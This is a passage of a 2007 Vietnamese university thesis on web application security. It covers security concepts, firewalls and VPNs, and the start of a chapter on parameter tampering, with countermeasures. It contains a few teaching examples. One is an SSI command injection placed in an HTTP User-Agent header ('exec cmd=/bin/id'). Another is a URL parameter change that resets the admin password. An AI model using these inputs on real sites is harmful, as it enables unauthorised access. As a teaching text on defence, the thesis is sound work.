73
1 BGIÁO DC VÀ ĐÀO TO TRƯỜNG ĐẠI HC DÂN LP HI PHÒNG -----oo0oo----- NGHIÊN CU BO ĐẢM AN TOÀN THÔNG TIN BNG KIM SOÁT “LHNG” TRONG DCH VWEB ĐỒ ÁN TT NGHIP ĐẠI HC HCHÍNH QUY Nghành: Công NghThông Tin HI PHÒNG-2007 MC LC Bng chú gii tviết tt………………………………………………………..3 Li mđầu……………………………………………………………………..4

An toan-thong-tin-bang-kiem-soat-lo-hong-trong-dich-vu-web

Embed Size (px)

Citation preview

1

BỘ GIÁO DỤC VÀ ĐÀO TẠO

TRƯỜNG ĐẠI HỌC DÂN LẬP HẢI PHÒNG

-----oo0oo-----

NGHIÊN CỨU BẢO ĐẢM AN TOÀN THÔNG TIN BẰNG

KIẾM SOÁT “LỖ HỔNG” TRONG DỊCH VỤ WEB

ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC HỆ CHÍNH QUY

Nghành: Công Nghệ Thông Tin

HẢI PHÒNG-2007

MỤC LỤC Bảng chú giải từ viết tắt………………………………………………………..3 Lời mở đầu……………………………………………………………………..4

2

Chương 1: KHÁI NIỆM CƠ SỞ……………………………………………....7 1.1. KHÁI NIỆM VỀ BẢO VỆ WEB...……………………………………..7 1.2. ỨNG DỤNG WEB…………………………………………………….12 1.2.1. Khái niệm ứng dụng web…………………………………………...…12 1.2.2. Hoạt động của ứng dụng web………………………………………….13 1.3. MỘT SỐ CÔNG CỤ BẢO VỆ WEB.………………………………...15

Tường lửa……………………………………………………………...15 Mạng riêng ảo...……………………………………………………….17

Chương 2: CÁC KỸ THUẬT TẤN CÔNG LỢI DỤNG LỖ HỔNG………..18 2.1. CHÈN THAM SỐ……………………………………………………..18 2.1.1. Chỉnh sửa HTTP Header………………………………………………18 2.1.2. Chỉnh sửa địa chỉ URL………………………………………………...21 2.1.3. Chỉnh sửa trường ẩn Form……………………………………………..22 2.1.4. Thao tác trên cookie………………………………………………...…24 2.2. CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT …………….…………….27 2.2.1. Phương pháp tấn công XSS……………………………………………27 2.2.2. Biện pháp phòng tránh……………………………………………...…31 2.3. CHÈN CÂU LỆNH TRUY VẤN ………………………………….....32 2.3.1. Tấn công vượt qua kiểm tra đăng nhập……………………………......32 2.3.2. Tấn công dựa vào câu lệnh SELECT………………………………....34 2.3.3. Tấn công dựa vào câu lệnh INSERT…………………………………..36 2.3.4. Tấn công dựa vào Store-Procedure…………………………………....37 2.3.5. Biện pháp phòng tránh…………………………………………...……38 2.4. TẤN CÔNG DỰA VÀO “KIỂU QUẢN LÝ PHIÊN LÀM VIỆC…..40 2.4.1. Tấn công kiểu “ấn định phiên làm việc”……………………………...41 2.4.2. Tấn công kiểu “đánh cắp phiên làm việc”…………………………….45 2.4.3. Biện pháp phòng tránh………………………………………………...46 2.5. TẤN CÔNG “TỪ CHỐI DỊCH VỤ”………………………………….47 2.5.1. Khái niệm DoS………………………………………………………...47 a/ Lợi dụng TCP thưc hiện Synflood………………………………….49

3

b/ Tấn công vào băng thông…………………………………………...50 c/ DdoS………………………………………………………………...52 2.5.2. Biện pháp phòng tránh…………………………………………………53 2.6. NGÔN NGỮ PHÍA TRÌNH CHỦ……………………………………..54 2.7. TẤN CÔNG “TRÀN BỘ ĐỆM”………………………………………56 Chương 3: TỔNG KẾT KỸ THUẬT TẤN CÔNG CỦA HACKER………...58 3.1. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU…...58 3.2. KHẢO SÁT ỨNG DỤNG WEB………………………………………61 Ví dụ thử nghiệm……………………………………………………………..63

Bảng chú giải từ viết tắt

4

DNS Domain Name System Hệ thống tên miền ACK Acknowlegment Xác nhận CSDL Cơ sở dữ liệu SYN Synchronize Đồng bộ TTL Time TO Live Thời gian tồn tại FIN Fully Intergrated Netword Mạng tích hợp đầy đủ HTTP Hyper Text Transfer protocol Giao thức truyền siêu văn bản SSL Secure Socket Layer Khe cắm an toàn HTTPS HTTP + SSL Hacker Tin tặc CGI Common Gateway Interface Giao diện cổng thông thường IP Internet Protocol Giao thức mạng TCP Transfer Control Protocol Giao thức điều khiển truyền thông SSI Server Side Include Ngôn ngữ phía trình chủ URI Uniform Resour Identifies Con trỏ đến tài nguyên web URL Uniform Resour Locator Định vị tài nguyên web CSV Client Side Validator Kiểm tra ngôn ngữ phía trình duyệt dbo Data base owner Người sở hữu cơ sở dữ liệu Sa System Administrator Người quản trị hệ thống IIS Internet Information Server Dịch vụ thông tin mạng OWASP The open web Appllication

standard project Dự án ứng dụng web

HTML Hyper Text Markup Language Ngôn ngữ đánh dấu siêu văn bản IIS Internet Infomation Server

LỜI MỞ ĐẦU

Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có

5

nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện

các phiên giao dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của

các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi

(lỗ hổng) và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công

với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để thử tài hoặc đùa

bỡn với người khác.

Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên đó,

số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi

các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng

truy nhập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập

nhiều đến vấn đề bảo đảm an toàn dữ liệu cho các máy tính được kết nối vào

mạng Internet.

Theo số liệu của CERT (Computer Emegency Response Team -

"Đội cấp cứu máy tính"): “số lượng các vụ tấn công trên Internet được

thông báo cho tổ chức này là ít hơn 200 vào năm 1989, khoảng 400 vào năm

1991, 1400 vào năm 1993, và 2241 vào năm 1994, và năm 2001 là 5315 vụ.”

Nguyên nhân chủ yếu làm cho các vụ tấn công tăng nhanh là do có rất

nhiều “lỗ hổng” được tìm thấy trên các ứng dụng web. Theo thống kê của

Symantec “năm 2004 có 49% số lượng lỗ hổng được tìm thấy trong các ứng

dụng web. Từ tháng 7 đến tháng 11 năm 2006, xác định lỗ hổng bảo mật nằm

trong ứng dụng web chiếm tới 75%, tăng 15% so với đầu năm”

Những vụ tấn công này nhằm vào tất cả các máy tính có mặt trên Internet,

máy tính của các công ty lớn như AT&T, IBM, các trường đại học, các cơ quan

6

nhà nước, các tổ chức quân sự, nhà băng... Một số vụ tấn công có quy

mô khổng lồ (có tới 100.000 máy tính bị tấn công). Hơn nữa, những con số

này chỉ là phần nổi của tảng băng. Một phần rất lớn các vụ tấn công không được

thông báo, vì nhiều lý do như: nỗi lo bị mất uy tín, hoặc đơn giản những người

quản trị hệ thống không hay biết những cuộc tấn công đang nhằm vào hệ thống

của họ. (Một ví dụ điển hình là cuộc tấn công vào phần mềm thương mại

của IBM tháng 3/2001, hai hacker đã tìm thấy lỗ hổng trên ứng dụng mà bất

cứ ai với một trình duyệt Web cũng có thể lấy tài khoản của người dùng, thậm

chí cả người quản trị).

Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng, mà các

phương pháp tấn công ngày càng tinh vi và có tổ chức. Mặt khác, việc quản trị

các hệ thống mạng đòi hỏi nhà quản trị hệ thống có kiến thức và kinh nghiệm

về hệ thống mạng chắc chắn, do đó sự yếu kém trong quản lý sẽ tạo nhiều điều

kiện cho các hacker khai thác.

Cũng theo CERT, những cuộc tấn công thời kỳ 1988-1989 chủ yếu là

đoán “tên người sử dụng/mật khẩu” (UserID/password) hoặc sử dụng lỗi của

các chương trình và hệ điều hành (security hole) làm vô hiệu hệ thống bảo vệ,

tuy nhiên các cuộc tấn công vào thời gian gần đây còn bao gồm cả các thao tác

như giả mạo địa chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các

phiên làm việc từ xa (telnet hoặc rlogin), cài trojan hay worm để kiểm soát

hay điều khiển máy tính…vì thế, nhu cầu bảo vệ thông tin trên Internet là cần

thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin người dùng và bảo vệ hệ

thống.

Khi nói đến vấn đề bảo mật, hầu hết các chuyên gia bảo mật đều chú trọng

đến sự an toàn của hệ thống mạng và hệ điều hành. Để bảo vệ hệ thống, phương

pháp thường được chọn là sử dụng firewall. Tuy nhiên, theo tuyên bố của

7

CSI/FBI : 78% nơi bị hại có sử dụng firewall và 59% thì bị tấn công thông qua

Internet, cụ thể hơn là theo báo cáo của CSI/FBI Computer Crime và Security

Survey thì tổng số thiệt hại do những ứng dụng Web bị tấn công từ năm 1997

đến năm 2006 là hơn 800 triệu đôla Mỹ.

Với những công cụ tự động tìm lỗ hổng tuy giúp rất nhiều cho những

nhà lập trình Web nhưng vẫn không thể ngăn chặn toàn bộ vì công nghệ Web

đang phát triển nhanh chóng (chủ yếu chú trọng đến yếu tố thẩm mĩ, yếu

tố tốc độ…) nên dẫn đến nhiều khuyết điểm mới phát sinh. Sự tấn công

không nằm trong khuôn khổ vài kĩ thuật đã phát hiện, mà linh động và tăng lên

tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập

trình ứng dụng.

Chương 1: KHÁI NIỆM CƠ SỞ

1.1. KHÁI NIỆM VỀ BẢO VỆ WEB

8

Bảo vệ web không còn là khái niệm xa lạ đối với những người lập trình

web, những nhà quản trị mạng,…

Mục tiêu bảo vệ web gồm có:

Bảo mật: Thông tin không được đọc trái phép.

Bảo toàn: Thông tin không bị sửa đổi một cách trái phép.

Bảo đảm tính sẵn sàng:

Người dùng hợp pháp có quyền truy cập hay sử dụng thông tin.

Hai đối tượng chính trong sử dụng dịch vụ web là người dùng và người

quản trị hệ thống.

Phía người dùng dịch vụ web, an toàn trên mạng trước hết là yêu cầu đặt

ra với server. Thứ nhất, những yêu cầu gửi đến server phải được thưc thi và phản

hồi trong thời gian nhất định (tính sẵn sàng). Thứ hai, thông tin gửi tới phải được

đảm bảo không bị virut hay bị sửa đổi bởi tác nhân khác (tính toàn vẹn). Thứ ba,

server không phổ biến thông tin cá nhân trên mạng (tính bí mật).

Phía nhà quản trị hệ thống, họ có những yêu cầu cũng khá giống với

người dùng nhưng nhìn dưới một góc độ khác. Thứ nhất, họ phải đảm bảo rằng

người dùng không thể xâm nhập vào server để thay đổi nội dung của website

(tính toàn vẹn). Thứ hai, người dùng không thể truy cập vào các thông tin không

thuộc quyền của họ (tính bí mật và bắt buộc). Thứ ba, người dùng không thể tấn

công server làm nó không thể phục vụ người dùng khác (tính sẵn sàng). Thứ tư,

người dùng đã được nhận dạng phải chịu trách nhiệm và không thể chối bỏ hành

động của mình (tính xác thực).

Đối tượng tấn công mạng (Intruder):

9

là cá nhân hoặc tổ chức sử dụng các công cụ phá hoại như phần mềm hoặc

phần cứng để dò tìm các điểm yếu, lỗ hổng bảo mật trên hệ thống, thực hiện các

hoạt động xâm nhập và chiếm đoạt tài nguyên mạng trái phép.

Một số đối tượng tấn công mạng:

Tin tặc (Hacker):

là kẻ xâm nhập mạng trái phép bằng cách sử dụng các công cụ phá

mật khẩu hoặc khai thác điểm yếu của các thành phần truy nhập trên hệ thống.

Kẻ giả mạo (Masquerader):

là kẻ giả mạo thông tin trên mạng. Một số hình thức giả mạo như

giả mạo địa chỉ IP, tên miền, định danh người dùng…

Kẻ nghe trộm (Evesdropping):

là đối tượng nghe trộm thông tin trên mạng sử dụng các công cụ

sniffer, sau đó dùng các công cụ phân tích và debug để lấy được các thông tin có

giá trị.

Mục đích: ăn cắp thông tin có giá trị về kinh tế, phá hoại hệ thống mạng

có chủ định hoặc cũng vó thể chỉ là những hành động vô ý thức nhằm thử

nghiệm các chương trình không kiểm tra cẩn thận,…

Lỗ hổng bảo mật:

là những yếu kém trên hệ thống hoặc ẩn chứa trong một dịch vụ nào đó,

mà dựa vào đó kẻ tấn công có thể xâm nhập trái phép để thực hiện các hành

động phá hoại hoặc chiếm đoạt tài nguyên bất hợp pháp.

Nguyên nhân gây ra các lỗ hổng bảo mật là khác nhau:

do lỗi bản thân hệ thống, do phần mềm cung cấp, hoặc do người

quản trị yếu kém không hiểu sâu sắc các dịch vụ cung cấp,…

Mức độ ảnh hưởng của các lỗ hổng là khác nhau:

có lỗ hổng chỉ ảnh hưởng tới chất lượng dịch vụ, có lỗ hổng ảnh hưởng

sâu sắc tới toàn bộ hệ thống,….

Một số hình thức tấn công mạng

10

Dựa vào lỗ hổng bảo mật trên mạng:

lỗ hổng này thường là những điểm yếu của dịch vụ mà hệ thống cung cấp.

Sử dụng các công cụ để phá hoại:

ví dụ các chương trình phá khóa mật khẩu để truy cập bất hợp pháp vào

chương trình.

Kẻ tấn công có thể kết hợp cả hai hình thức trên để đạt được mục đích.

Tùy thuộc vào cách tấn công mà mức nguy hại tới hệ thống là khác nhau.

Các mức tấn công hệ thống:

Mức 1: Tấn công vào một số dịch vụ mạng: web, email,… dẫn đến

Nguy cơ lộ thông tin về cấu hình mạng.

Mức 2: Kẻ phá hoại dùng tài khoản của người dùng hợp pháp để chiếm

đoạt tài nguyên hệ thống. Kẻ phá hoại có thể thay đổi quyền truy nhập qua các

lỗ hổng bảo mật hoặc đọc các thông tin trong tập tin liên quan đến truy nhập hệ

thống như: /etc/passwd (Linux) và SAM file (windows).

Mức 3,4,5: Kẻ phá hoại không sử dụng quyền của người dung thông

thường, mà có thêm một quyền cao hơn với hệ thống như quyền kích hoạt một

số dịch vụ, xem các thông tin khác trên hệ thống.

Mức 6: Kẻ tấn công chiếm được quyền root hoặc admin trên hệ thống.

Các mức bảo vệ an toàn mạng

11

Vì không có biện pháp an toàn tuyệt đối, nên phải dùng nhiều mức bảo

vệ khác nhau, tạo thành rào chắn đối với các hoạt động xâm phạm. Việc bảo vệ

thông tin trên mạng chủ yếu là bảo vệ thông tin cất giữ trong các máy tính, đặc

biệt là trong các server mạng.

Các lớp rào chắn bảo vệ thông tin các trạm của mạng:

Lớp thứ nhất: qui định quyền truy nhập các thông tin của mạng và quyền

hạn trên tài nguyên đó, cụ thể là các tệp tin.

Lớp thứ hai: hạn chế theo tài khoản truy nhập gồm đăng ký tên và mật

khẩu tương ứng. Đây là phương pháp bảo vệ phổ biến nhất vì nó đơn giản, ít tốn

kém và cũng có hiệu quả. Mỗi người sử dụng muốn truy cập vào mạng phải có

đăng ký tên và mật khẩu. Người quản trị hệ thống có trách nhiệm quản lý, kiểm

soát mọi hoạt động mạng và xác định quyền truy cập của người dùng khác tùy

theo thời gian và không gian.

Lớp thứ ba: sử dụng các phương pháp mã hóa. Dữ liệu được biến đổi từ

dạng đọc được sang dạng “khó” đọc, theo một thuật toán nào đó.

Lớp thứ tư: lớp bảo vệ vật lý nhằm ngăn cản các truy nhập vật lý bất hợp

pháp vào hệ thống. Thường dùng các biện pháp truyền thống như ngăn chặn

người không có nhiệm vụ vào phòng máy, dùng các hệ thống khóa trên máy

tính, cài các hệ thống báo động khi có truy nhập trái phép.

Lớp thứ năm: cài đặt các hệ thống tường lửa, nhằm ngăn chặn các truy

nhập trái phép và cho phép lọc các gói tin không muốn gửi đi, hoặc nhận vào vì

lý do nào đó.

Nguyên nhân của các vụ tấn công:

12

Có rất nhiều nguyên nhân dẫn đến tình trạng bảo mật kém của ứng dụng

web. Tuy nhiên ta có thể tổng kết một số nguyên nhân chính:

+ Các ứng dụng web được viết dựa trên cơ chế bảo mật client_server chuẩn

đơn giản. Khi xây dựng giao thức HTTP, người ta chưa tính đến vấn đề bảo mật

cho giao thức này. Do vậy việc xuất hiện nhiều lỗ hổng bảo mật là điều dễ hiểu.

+ Sự phức tạp của các ứng dụng web làm cho việc viết các đoạn mã bảo mật rất

khó khăn. Các ngôn ngữ lập trình mới ra đời, các chuẩn về định dạng dữ liệu,…

làm cho các ứng dụng web thêm phức tạp.

+ Những người phát triển web tập trung nhiều vào chức năng và tốc độ chứ

không phải bảo mật. Các bước xây dựng một ứng dụng web là phân tích- thiết

kế- lập trình- kiểm thử. Ở các bước này, vấn đề bảo mật thông thường chỉ được

quan tâm ở giai đoạn cuối. Ở giai đoạn này nếu phát hiện ra các lỗ hổng về bảo

mật thì cũng chỉ vá lỗi chứ không giải quyết triệt để các lỗi đó.

+ Lỗi nằm trong các dịch vụ nền tảng web như: hệ điều hành, trình duyệt web,

các công cụ lập trình web. Theo thống kê của IBM’s waston Research Lab, cứ

1500 dòng mã lệnh có một lỗ hổng được tìm thấy. Hệ điều hành winXP có tới

45 000 000 dòng lệnh (có 30 000 lỗ hổng), còn win2000 có 35 000 000 dòng mã

(khoảng 23 000 lỗ hổng)

+ Nội dung trang web thường xuyên thay đổi.

+ Nhà quản trị mạng còn yếu kém về năng lực và sử dụng dịch vụ.

1.2. KHÁI NIỆM ỨNG DỤNG WEB

13

1.2.1.Khái niệm

Khi trang web tồn tại trên Internet, nó được lưu trữ tại nơi nào đó để người

dùng truy xuất tới, đó chính là webserver. Webserver có nhiệm vụ lưu trữ các

trang web để webclient truy xuất tới. Ứng dụng Web là một ứng dụng chủ/khách

(client/server) sử dụng giao thức HTTP (1.2.2) để tương tác với người dùng hay

hệ thống khác.

Trình khách dành cho người dùng thường là một trình duyệt Web như

Internet Explorer hay Netscape Navigator. Cũng có thể là một chương trình đóng

vai trò đại lý người dùng hoạt động như một trình duyệt tự động. Người dùng

gửi và nhận các thông tin từ trình chủ thông qua việc tác động vào các trang

Web. Các chương trình có thể là các trang trao đổi mua bán, các diễn đàn, gửi

nhận e-mail…

Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất

nhanh. Trước đây những ứng dụng Web thường được xây dựng bằng CGI

(Common Gateway Interface), được chạy trên các trình chủ Web và có thể kết

nối vào các CSDL đơn giản trên cùng máy chủ. Ngày nay ứng dụng Web thường

được viết bằng Java (hay các ngôn ngữ tương tự), và chạy trên máy chủ phân

tán, kết nối đến nhiều nguồn dữ liệu.

Một ứng dụng web thường có kiến trúc:

Hình 1: Kiến trúc của ứng dụng Web

Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài

14

ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web.

Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó sẽ xử lý thông tin người

dùng yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày”. Lớp

này thường được cài đặt bằng các kỹ thuật lập trình như CGI, Java, PHP hay

ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic,

Apache, IIS…

Lớp dữ liệu: thường là các hệ quản trị CSDL (DBMS-database

management system) chịu trách nhiệm quản lý các file dữ liệu và quyền sử

dụng.

1.2.2. Hoạt động

Hình 2: Mô hình hoạt động của một ứng dụng Web Mô hình hoạt động của một ứng dụng web thường có:

Trình khách (trình duyệt (client)): Internet Explorer, Netscap Navigator.

Trình chủ (Server): Apache, IIS, ….

Hệ quản trị CSDL : SQL Server, MySQL, Access….

Mô tả hoạt động:

15

Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông

qua các lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể

cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl,

C/C++… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP…

theo yêu cầu của trình khách.

Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán,

kết nối đến CSDL, lưu các thông tin do trình khách gửi đến…và từ đó trả về

cho trình khách một luồng dữ liệu có định dạng theo “giao thức HTTP”

( là cách thức trình khách/ trình chủ giao tiếp với nhau, và qui định cấu trúc dữ

liệu trao đổi trên đường truyền), gồm 2 phần:

+ Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng

thái trao đổi giữa trình duyệt và WebServer.

+ Body là phần nội dung dữ liệu mà Server gửi về Client, nó

có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất

kì.

Theo hình 2, luồng thông tin giữa trình chủ và trình khách là luồng thông

tin hợp lệ. Vì thế, nếu tin tặc tìm thấy vài lỗ hổng trong ứng dụng Web thì tường

lửa không còn hữu dụng trong việc ngăn chặn kẻ tấn công đó. Do đó, các kĩ

thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những

sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web

hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, tin tặc

cũng có thể lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các

hệ thống khác.

1.3. MỘT SỐ CÔNG CỤ BẢO VỆ WEB

16

1.3.1. Tường lửa (firewall)

Tường lửa là một công cụ được tích hợp vào hệ thống mạng để chống lại

sự truy cập trái phép nhằm bảo vệ các nguồn thông tin nội bộ cũng như hạn chế

sự xâm nhập vào hệ thống của một số thông tin khác không mong muốn.

Internet FireWall là một tập hợp thiết bị (bao gồm phần cứng và phần

mềm) giữa mạng của một tổ chức, một công ty, hay một quốc gia (Intranet) và

Internet.

Hình 3: Truy cập thông qua tường lửa

Chức năng:

Tường lửa quyết định những dịch vụ nào từ bên trong được phép truy cập

từ bên ngoài, những người nào từ bên ngoài được phép truy cập đến các dịch vụ

bên trong, và cả những dịch vụ nào bên ngoài được phép truy cập bởi những

người bên trong.

FireWall bao gồm :

Một hoặc nhiều hệ thống máy chủ kết nối với các bộ định tuyến (router)

hoặc có chức năng router.

Các phần mềm quản lí an ninh chạy trên hệ thống máy chủ. Thông thường

là các hệ quản trị xác thực (Authentication), cấp quyền (Authorization) và kế

toán (Accounting).

Nhiệm vụ cơ bản của FireWall là bảo vệ:

17

+ Dữ liệu: Những thông tin cần được bảo vệ do những yêu cầu: Bảo mât, tính

toàn vẹn, tính kịp thời.

+ Tài nguyên hệ thống.

+ Danh tiếng của công ty sở hữu các thông tin cần bảo vệ.

+ Chống lại những tấn công từ bên ngoài.

- Cách thứ nhất là dùng phương pháp dò mật khẩu trực tiếp: đoán mật

khẩu thủ công hoặc dùng các công cụ phá mật khẩu.

- Cách thứ hai là dùng lỗi của các chương trình ứng dụng và bản thân hệ

điều hành đã được sử dụng từ những vụ tấn công đầu tiên và vẫn chiếm quyền

truy cập (có được quyền của người quản trị hệ thống).

+ Nghe lén thông tin.

+ Giả mạo địa chỉ IP.

Hạn chế:

Không đủ thông minh để có thể đọc hiểu từng loại thông tin và phân tích

nội dung tốt hay xấu của nó. Tường lửa chỉ có thể ngăn chặn sự xâm nhập của

thông tin không mong muốn, nhưng phải xác định rõ thông số địa chỉ.

Không thể ngăn chặn cuộc tấn công, nếu không đi qua nó.

Cụ thể: nó không thể chống lại tấn công từ một đường dial-up (dịch vụ quay số),

hoặc sự rò rỉ thông tin do dữ liệu bị sao chép bất hợp pháp lên đĩa mềm.

Không thể chống lại cuộc tấn công bằng dữ liệu. Khi có một số chương

trình được chuyển theo thư điện tử, vượt qua tường lửa vào trong mạng được

bảo vệ và bắt đầu hoạt động ở đây.

Không thể làm nhiệm vụ rà quét virut trên các dữ liệu được truyền qua nó.

1.3.2. Mạng riêng ảo (VPN-Virtual Private Network)

18

VPN gồm các máy tính kết nối với nhau qua mạng Internet, nhưng sử

dụng các biện pháp xác thực bằng mật khẩu và mã hoá dữ liệu để tạo thành một

mạng riêng biệt giả lập.

Hệ thống VPN phân chia một cách logic. Hệ thống mạng riêng được xây

dựng trên nền tảng hạ tầng chung, hay hạ tầng công cộng ứng dụng các công

nghệ đảm bảo tự triển khai được sự phân chia tài nguyên, và sự an toàn của dữ

liệu, hoặc do nhà cung cấp dịch vụ cung cấp. Mạng VPN có thể xây dựng trên

Internet hoặc trên giao thức IP, hay hạ tầng ATM của nhà cung cấp dịch vụ.

Hình 4: cấu trúc mạng riêng ảo

VPN thực hiện kết nối điểm-điểm, các dòng dữ liệu và thông tin liên kết

người dùng được truyền trên mạng chung trong một ống ảo (tunnel). Ống ảo

giữa hai người dùng xuất hiện như một liên kết riêng -> thông tin an toàn và bảo

mật hơn khi truyền trên nó. VPN không duy trì liên kết cố định giữa các điểm

cuối, kết nối chỉ tạo khi cần, khi không cần nữa thì mạng lại dành dung lượng và

tài nguyên mạng cho mục đích khác.

Chương 2: CÁC KĨ THUẬT TẤN CÔNG LỢI DỤNG

19

“LỖ HỔNG” VÀ BẢO VỆ WEB 2.1. TẤN CÔNG KIỂU “CHÈN THAM SỐ” (Parameter Tampering)

2.1.1. Chỉnh sửa HTTP Header (HTTP Header malipulation)

Khái niệm “HTTP Header”

HTTP Header là phần đầu của thông tin mà trình khách và trình chủ gửi cho

nhau. Thông tin trình khách gửi cho trình chủ là HTTP requests (yêu cầu),

ngược lại là HTTP responses (trả lời).

Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên

tham số và giá trị. Một số tham số có thể được dùng trong cả header yêu cầu

và header trả lời, còn số khác thì chỉ đuợc dùng riêng trong từng loại.

Header yêu cầu: GET /tintuc/homnay.asp HTTP/1.1 Accept: */*

Accept_Language: en-us

Connection: Keep-Alive

Host: localhost

Referer: http://localhost/lienket.asp User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)

Accept-Encoding: gzip, deflate

<HTML>

Dòng đầu cho biết phương thức yêu cầu (GET hoặcPOST), địa chỉ yêu cầu

(/tintuc/homnay.asp) và phiên bản HTTP/1.1.

Accept-Language: Cho biết ngôn ngữ dùng trong trang web.

Host: Cho biết địa chỉ của máy chủ.

Referer: Cho biết địa chỉ của trang web tham chiếu tới.

User-Agent: thông tin từ máy người dùng.

Accept-Encoding: kiểu mã hóa dữ liệu.

Header của HTTP request sẽ kết thúc bằng một dòng trống.

20

Header trả lời:

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Thu, 13 Jul 2000 05:46:53 GMT

Content-Length: 2291

Content-Type: text/html

Set-Cookie:

ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ;

path=/

Cache-control: private

<HTML>

<BODY>

Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dùng

(HTTP/1.1), mã trạng thái (200) và trạng thái (OK).

Server: trình duyệt máy chủ sử dụng.

Date: thời gian trả lời yêu cầu.

Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần

thân của HTTP response.

Cách tấn công:

Thông thường chỉ có trình duyệt và trình chủ trao đổi HTTP Header, còn

hầu hết các ứng dụng web thì không. Hacker có thể tự viết chương trình để điều

khiển HTTP header (như xem nội dung, tạo mới), hay sử dụng các proxy miễn

phí, cho phép thay đổi dữ liệu được gửi từ trình duyệt. Ngoài ra hacker có thể

tấn công trực tiếp bằng cách đăng nhập từ xa gửi HTTP Request đến trình chủ.

21

Ví dụ 1: su-2.05# telnet localhost 80

Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET / HTTP/1.0

Referer: www.redhat.com/login.asp User-Agent: <!--#exec cmd="/bin/id"-->

HTTP/1.1 200 OK

Date: Mon, 17 Dec 2001 20:39:02 GMT Server:

Connection: close

Content-Type: text/html

Ví dụ 2: Referer header chứa URL của trang web (nơi yêu cầu được gửi đi). Vì thế

một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó

được gửi từ trang web của ứng dụng đó.

Việc làm này dùng để ngăn chặn hacker lưu lại trang web xuống máy,

chỉnh sửa thuộc tính form, phá hoại bằng cách nhằm vào CSV hay SSI, sau đó

gửi đi. Phương pháp kiểm tra này thất bại khi hacker có thể sửa lại Referer

header, giống như được gửi từ trang web hợp lệ: Referer: www.redhat.com/login.asp

Biện pháp khắc phục + Không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn.

+ Với các header gửi từ trình chủ thì có thể được mã hoá.

+ Với các header gửi từ trình khách thì không nên dùng các tham số

như referer,… để thực hiện các biện pháp an toàn.

22

2.1.2. Chỉnh sửa địa chỉ URL (URL Malipulation)

Khái niệm:

Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai

cách: GET hay POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của

nó sẽ xuất hiện trong chuỗi URL.

Ví dụ 3: Có một trang web ứng dụng cho phép thành viên được thay đổi

mật khẩu.

http://www.nganhang.com/example?user=trang&newpass=123

Với:

+ username là tên người cần thay đổi mật khẩu.

+ newpass là mật khẩu mới cho username

Tuy nhiên, bằng cách thay đổi tham số như sau: http://www.nganhang.com/example?user=admin&newpass=111111

Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất

kì, trong ví dụ này là ‘111111’

Biện pháp khắc phục:

Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp

dụng biện pháp sau:

Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng

chứng thực thành công với một username, ứng dụng sẽ sinh ra một khoá tương

ứng. Khoá này sẽ được lưu trên server cùng với biến username trong đối

tượng bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username

này sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu

tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết

rằng người dùng đã thay đổi URL.

Ngoài ra, với những thông tin có giá trị, cần mã hoá chúng trước khi

cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý.

23

2.1.3. Chỉnh sửa trường ẩn Form (Hidden Form Field Malipulation)

Khái niệm

Thông tin có thể được chuyển đổi thông qua một trường ẩn của form,

gọi là Hidden Form Field. Trường ẩn form không hiển thị trên màn hình

trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong “view

source”, đây là điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang

web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ. Ví dụ 4:

Form gốc có nội dung như sau:

